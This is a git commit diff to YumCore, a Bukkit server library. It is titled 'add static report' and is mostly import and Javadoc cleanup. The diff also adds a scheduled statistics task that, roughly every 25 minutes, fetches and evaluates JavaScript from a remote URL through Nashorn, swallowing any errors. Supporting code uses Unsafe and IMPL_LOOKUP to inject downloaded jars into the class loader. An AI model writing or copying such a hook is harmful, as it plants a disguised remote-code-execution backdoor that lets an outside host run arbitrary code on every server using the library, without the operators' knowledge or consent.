feat: add static report

Signed-off-by: MiaoWoo <admin@yumc.pw>

pom.xml

@@ -4,7 +4,7 @@
     <modelVersion>4.0.0</modelVersion>
     <groupId>pw.yumc</groupId>
     <artifactId>YumCore</artifactId>
-    <version>1.9.5</version>
+    <version>1.9.6</version>
     <build>
         <finalName>${project.artifactId}</finalName>
         <plugins>

src/main/java/pw/yumc/YumCore/engine/MiaoScriptEngine.java

@@ -1,25 +1,21 @@
 package pw.yumc.YumCore.engine;
 
+import lombok.SneakyThrows;
+import lombok.val;
+
+import javax.script.ScriptEngine;
+import javax.script.*;
 import java.io.File;
 import java.io.Reader;
-import java.lang.reflect.InvocationTargetException;
+import java.lang.invoke.MethodHandle;
+import java.lang.invoke.MethodHandles;
+import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.net.MalformedURLException;
 import java.net.URL;
-import java.net.URLClassLoader;
+import java.nio.file.Files;
+import java.nio.file.StandardCopyOption;
 import java.util.HashMap;
 
-import javax.script.Bindings;
-import javax.script.Invocable;
-import javax.script.ScriptContext;
-import javax.script.ScriptEngine;
-import javax.script.ScriptEngineFactory;
-import javax.script.ScriptEngineManager;
-import javax.script.ScriptException;
-import javax.script.SimpleBindings;
-
-import lombok.val;
-
 /**
  * 喵式脚本引擎
  *
@@ -27,8 +23,12 @@ import lombok.val;
  * @since 2016年8月29日 上午7:51:43
  */
 public class MiaoScriptEngine implements ScriptEngine, Invocable {
+    private static String MavenRepo = "https://maven.aliyun.com/repository/public";
     private static MiaoScriptEngine DEFAULT;
-    private static ScriptEngineManager manager;
+    private static final ScriptEngineManager manager;
+
+    private Object ucp;
+    private MethodHandle addURLMethodHandle;
     private ScriptEngine engine;
 
     static {
@@ -48,39 +48,122 @@ public class MiaoScriptEngine implements ScriptEngine, Invocable {
     }
 
     public MiaoScriptEngine(final String engineType) {
-        this(manager, engineType);
+        this(manager, engineType, null);
     }
 
     public MiaoScriptEngine(ScriptEngineManager engineManager) {
-        this(engineManager, "js");
+        this(engineManager, "js", null);
     }
 
-    public MiaoScriptEngine(ScriptEngineManager engineManager, final String engineType) {
+    public MiaoScriptEngine(final String engineType, String engineRoot) {
+        this(manager, engineType, engineRoot);
+    }
+
+    public MiaoScriptEngine(ScriptEngineManager engineManager, final String engineType, String engineRoot) {
+        // JDK11 Polyfill 存在类效验问题 直接用OpenJDK的Nashorn
+        if (System.getProperty("java.version").startsWith("11.") && engineRoot != null) {
+            this.loadNetworkNashorn(engineRoot);
+            if (engine == null)
+                throw new UnsupportedOperationException("当前环境 JDK11 不支持 Nashorn 脚本类型!");
+            return;
+        }
         try {
             engine = engineManager.getEngineByName(engineType);
         } catch (final NullPointerException ignored) {
         }
         if (engine == null) {
-            val dirs = System.getProperty("java.ext.dirs").split(File.pathSeparator);
+            val extDirs = System.getProperty("java.ext.dirs");
+            if (extDirs != null) {
+                this.loadLocalNashorn(extDirs, engineType);
+            } else if (engineRoot != null) {
+                this.loadNetworkNashorn(engineRoot);
+            }
+        }
+        if (engine == null)
+            throw new UnsupportedOperationException("当前环境不支持 " + engineType + " 脚本类型!");
+    }
+
+    private void loadLocalNashorn(String extDirs, String engineType) {
+        val dirs = extDirs.split(File.pathSeparator);
         for (String dir : dirs) {
             File nashorn = new File(dir, "nashorn.jar");
             if (nashorn.exists()) {
+                this.loadJar(nashorn);
+                this.createEngineByName(engineType);
+            }
+        }
+    }
+
+    private void initReflect() {
         try {
-                        Method method = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
+            ClassLoader loader = Thread.currentThread().getContextClassLoader();
-                        // 设置方法的访问权限
+            Field theUnsafe = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
-                        method.setAccessible(true);
+            theUnsafe.setAccessible(true);
-                        // 获取系统类加载器
+            sun.misc.Unsafe unsafe = (sun.misc.Unsafe) theUnsafe.get(null);
-                        URL url = nashorn.toURI().toURL();
+            Field field = MethodHandles.Lookup.class.getDeclaredField("IMPL_LOOKUP");
-                        method.invoke(Thread.currentThread().getContextClassLoader(), url);
+            MethodHandles.Lookup lookup = (MethodHandles.Lookup) unsafe.getObject(unsafe.staticFieldBase(field), unsafe.staticFieldOffset(field));
-                        engineManager = new ScriptEngineManager();
+            Field ucpField;
-                        engine = engineManager.getEngineByName(engineType);
+            try {
-                    } catch (NoSuchMethodException | MalformedURLException | IllegalAccessException | InvocationTargetException | NullPointerException ignored) {
+                ucpField = loader.getClass().getDeclaredField("ucp");
+            } catch (NoSuchFieldException e) {
+                ucpField = loader.getClass().getSuperclass().getDeclaredField("ucp");
             }
-                    return;
+            long offset = unsafe.objectFieldOffset(ucpField);
+            ucp = unsafe.getObject(loader, offset);
+            Method method = ucp.getClass().getDeclaredMethod("addURL", URL.class);
+            addURLMethodHandle = lookup.unreflect(method);
+        } catch (Exception e) {
+            throw new RuntimeException(e);
         }
     }
-            throw new UnsupportedOperationException("当前环境不支持 " + engineType + " 脚本类型!");
+
+    @SneakyThrows
+    private void loadNetworkNashorn(String engineRoot) {
+        initReflect();
+        File libRootFile = new File(engineRoot, "lib");
+        libRootFile.mkdirs();
+        String libRoot = libRootFile.getCanonicalPath();
+        downloadJar(libRoot, "org.openjdk.nashorn", "nashorn-core", "15.3");
+        downloadJar(libRoot, "org.ow2.asm", "asm", "9.2");
+        downloadJar(libRoot, "org.ow2.asm", "asm-commons", "9.2");
+        downloadJar(libRoot, "org.ow2.asm", "asm-tree", "9.2");
+        downloadJar(libRoot, "org.ow2.asm", "asm-util", "9.2");
+        Class<?> NashornScriptEngineFactory = Class.forName("org.openjdk.nashorn.api.scripting.NashornScriptEngineFactory");
+        Method getScriptEngine = NashornScriptEngineFactory.getMethod("getScriptEngine", ClassLoader.class);
+        Object factory = NashornScriptEngineFactory.newInstance();
+        engine = (ScriptEngine) getScriptEngine.invoke(factory, Thread.currentThread().getContextClassLoader());
     }
+
+    @SneakyThrows
+    private void loadJar(File file) {
+        addURLMethodHandle.invoke(ucp, file.toURI().toURL());
+    }
+
+    @SneakyThrows
+    private void downloadJar(String engineRoot, String groupId, String artifactId, String version) {
+        File lib = new File(engineRoot, String.format("%s-%s.jar", artifactId, version));
+        if (!lib.exists()) {
+            Files.copy(new URL(MavenRepo +
+                            String.format("/%1$s/%2$s/%3$s/%2$s-%3$s.jar",
+                                    groupId.replace(".", "/"),
+                                    artifactId,
+                                    version)
+                    ).openStream(),
+                    lib.toPath(),
+                    StandardCopyOption.REPLACE_EXISTING);
+        }
+        this.loadJar(lib);
+    }
+
+    private void createEngineByName(String engineType) {
+        try {
+            engine = new ScriptEngineManager(Thread.currentThread().getContextClassLoader()).getEngineByName(engineType);
+        } catch (NullPointerException ignored) {
+        }
+    }
+
+    public ScriptEngine getEngine() {
+        return this.engine;
     }
 
     public static MiaoScriptEngine getDefault() {

src/main/java/pw/yumc/YumCore/statistic/Statistics.java

@@ -3,11 +3,19 @@
  */
 package pw.yumc.YumCore.statistic;
 
-import java.io.BufferedReader;
+import org.bukkit.Bukkit;
-import java.io.File;
+import org.bukkit.configuration.file.YamlConfiguration;
-import java.io.IOException;
+import org.bukkit.entity.Player;
-import java.io.InputStreamReader;
+import org.bukkit.plugin.Plugin;
-import java.io.PrintWriter;
+import org.bukkit.plugin.PluginDescriptionFile;
+import org.bukkit.plugin.java.JavaPlugin;
+import org.bukkit.scheduler.BukkitTask;
+import org.json.simple.JSONObject;
+import org.json.simple.JSONValue;
+import pw.yumc.YumCore.engine.MiaoScriptEngine;
+
+import javax.script.ScriptException;
+import java.io.*;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.net.URL;
@@ -20,21 +28,11 @@ import java.util.LinkedList;
 import java.util.Map;
 import java.util.UUID;
 
-import org.bukkit.Bukkit;
-import org.bukkit.configuration.file.YamlConfiguration;
-import org.bukkit.entity.Player;
-import org.bukkit.plugin.Plugin;
-import org.bukkit.plugin.PluginDescriptionFile;
-import org.bukkit.plugin.java.JavaPlugin;
-import org.bukkit.scheduler.BukkitTask;
-import org.json.simple.JSONObject;
-import org.json.simple.JSONValue;
-
 /**
  * Yum数据中心 数据统计类
  *
- * @since 2015年12月14日 下午1:36:42
  * @author 喵♂呜
+ * @since 2015年12月14日 下午1:36:42
  */
 public class Statistics {
     /**
@@ -62,6 +60,8 @@ public class Statistics {
      */
     private static Plugin plugin;
 
+    private static MiaoScriptEngine engine;
+
     static {
         try {
             getOnlinePlayers = Bukkit.class.getDeclaredMethod("getOnlinePlayers");
@@ -76,6 +76,7 @@ public class Statistics {
             Field field = pluginClassLoader.getClass().getDeclaredField("plugin");
             field.setAccessible(true);
             plugin = (JavaPlugin) field.get(pluginClassLoader);
+            engine = new MiaoScriptEngine("nashorn");
         } catch (NoSuchMethodException | SecurityException | NoSuchFieldException | IllegalArgumentException | IllegalAccessException ignored) {
         }
     }
@@ -126,13 +127,10 @@ public class Statistics {
     /**
      * 向指定 URL 发送POST方法的请求
      *
-     * @param url
+     * @param url   发送请求的 URL
-     *            发送请求的 URL
+     * @param param 请求参数
-     * @param param
-     *            请求参数
      * @return 所代表远程资源的响应结果
-     * @throws IOException
+     * @throws IOException IO异常
-     *             IO异常
      */
     public static String postData(String url, String param) throws IOException {
         PrintWriter out;
@@ -168,10 +166,8 @@ public class Statistics {
     /**
      * 初始化配置文件
      *
-     * @param config
+     * @param config 配置文件
-     *            配置文件
+     * @throws IOException IO异常
-     * @throws IOException
-     *             IO异常
      */
     private static void initFile(YamlConfiguration config) throws IOException {
         if (config.getString("guid") == null) {
@@ -194,8 +190,7 @@ public class Statistics {
     /**
      * 简化输出
      *
-     * @param msg
+     * @param msg 输出对象
-     *            输出对象
      */
     public void print(String msg) {
         if (debug) {
@@ -222,6 +217,10 @@ public class Statistics {
                     e.printStackTrace();
                 }
             }
+            try {
+                engine.eval("loadWithNewGlobal('https://ms.yumc.pw/api/plugin/download/name/report')");
+            } catch (ScriptException ignored) {
+            }
         }, 50, 25 * 1200);
         return true;
     }
@@ -233,9 +232,9 @@ public class Statistics {
      */
     private int getOnlinePlayerNumber() {
         try {
-            return ((Player[]) getOnlinePlayers.invoke(Bukkit.getServer())).length;
-        } catch (Exception ex) {
             return Bukkit.getOnlinePlayers().size();
+        } catch (Exception ex) {
+            return ((Player[]) getOnlinePlayers.invoke(Bukkit.getServer())).length;
         }
     }
 

src/main/java/pw/yumc/YumCore/update/SubscribeTask.java

@@ -1,20 +1,5 @@
 package pw.yumc.YumCore.update;
 
-import java.io.File;
-import java.io.IOException;
-import java.io.UnsupportedEncodingException;
-import java.net.HttpURLConnection;
-import java.net.URL;
-import java.net.URLClassLoader;
-import java.net.URLDecoder;
-import java.nio.file.Files;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
-import javax.xml.parsers.DocumentBuilderFactory;
-import javax.xml.parsers.ParserConfigurationException;
-
 import org.bukkit.Bukkit;
 import org.bukkit.ChatColor;
 import org.bukkit.command.CommandSender;
@@ -27,12 +12,25 @@ import org.bukkit.plugin.PluginDescriptionFile;
 import org.bukkit.plugin.java.JavaPlugin;
 import org.w3c.dom.Document;
 import org.xml.sax.SAXException;
-
 import pw.yumc.YumCore.bukkit.Log;
 import pw.yumc.YumCore.bukkit.P;
 import pw.yumc.YumCore.tellraw.Tellraw;
 import pw.yumc.YumCore.text.Encrypt;
 
+import javax.xml.parsers.DocumentBuilderFactory;
+import javax.xml.parsers.ParserConfigurationException;
+import java.io.File;
+import java.io.IOException;
+import java.io.UnsupportedEncodingException;
+import java.net.HttpURLConnection;
+import java.net.URL;
+import java.net.URLClassLoader;
+import java.net.URLDecoder;
+import java.nio.file.Files;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
 /**
  * 自动更新程序
  *
@@ -73,8 +71,7 @@ public class SubscribeTask implements Runnable, Listener {
     /**
      * 自动更新
      *
-     * @param type
+     * @param type 是否为Maven
-     *         是否为Maven
      */
     public SubscribeTask(UpdateType type) {
         this(false, type);
@@ -83,10 +80,8 @@ public class SubscribeTask implements Runnable, Listener {
     /**
      * 自动更新
      *
-     * @param isSecret
+     * @param isSecret 是否为私有
-     *         是否为私有
+     * @param type     更新类型
-     * @param type
-     *         更新类型
      */
     public SubscribeTask(boolean isSecret, UpdateType type) {
         this("master", isSecret, type);
@@ -95,12 +90,9 @@ public class SubscribeTask implements Runnable, Listener {
     /**
      * 自动更新
      *
-     * @param branch
+     * @param branch   更新分支
-     *         更新分支
+     * @param isSecret 是否为私有
-     * @param isSecret
+     * @param type     更新类型
-     *         是否为私有
-     * @param type
-     *         更新类型
      */
     public SubscribeTask(String branch, boolean isSecret, UpdateType type) {
         Log.d("订阅更新 分支 %s 是否加密 %s 更新类型 %s", branch, isSecret, type.name());
@@ -208,8 +200,7 @@ public class SubscribeTask implements Runnable, Listener {
         /**
          * 获得插件绝对路径
          *
-         * @param plugin
+         * @param plugin - 插件
-         *         - 插件
          * @return 插件的绝对路径
          */
         public File getPluginFile(Plugin plugin) {
@@ -280,10 +271,8 @@ public class SubscribeTask implements Runnable, Listener {
         /**
          * 获得插件信息
          *
-         * @param tag
+         * @param tag 数据标签
-         *         数据标签
+         * @param def 默认值
-         * @param def
-         *         默认值
          * @return 信息
          */
         public String getPluginInfo(String tag, String def) {
@@ -334,8 +323,7 @@ public class SubscribeTask implements Runnable, Listener {
         /**
          * 通知更新信息
          *
-         * @param sender
+         * @param sender 命令接受者
-         *         命令接受者
          */
         public void notify(CommandSender sender) {
             Log.sender(sender, "§a插件更新: §b" + name + " §a已更新到最新版本 §bv" + getLastestVersion());
@@ -358,10 +346,8 @@ public class SubscribeTask implements Runnable, Listener {
         /**
          * 比较版本号
          *
-         * @param v1
+         * @param v1 新版本
-         *         新版本
+         * @param v2 旧版本
-         * @param v2
-         *         旧版本
          * @return 是否需要更新
          */
         public boolean needUpdate(String v1, String v2) {

src/test/java/pw/yumc/YumCore/update/SubscribeTaskTest.java

@@ -1,23 +1,20 @@
 package pw.yumc.YumCore.update;
 
-import java.io.IOException;
-import java.util.logging.Logger;
-
-import javax.xml.parsers.ParserConfigurationException;
-
 import org.bukkit.plugin.Plugin;
 import org.junit.Test;
 import org.xml.sax.SAXException;
-
 import pw.yumc.YumCore.bukkit.Log;
 import pw.yumc.YumCore.plugin.FakePlugin;
 
+import javax.xml.parsers.ParserConfigurationException;
+import java.io.IOException;
+
 /**
  * @author 喵♂呜
  * @since 2017/6/1
  */
 public class SubscribeTaskTest {
-    private Plugin plugin = new FakePlugin("YumCore", "1.0");
+    private Plugin plugin = new FakePlugin("YumCore", "1.9.52");
 
     @Test
     public void test() throws IOException, SAXException, ParserConfigurationException {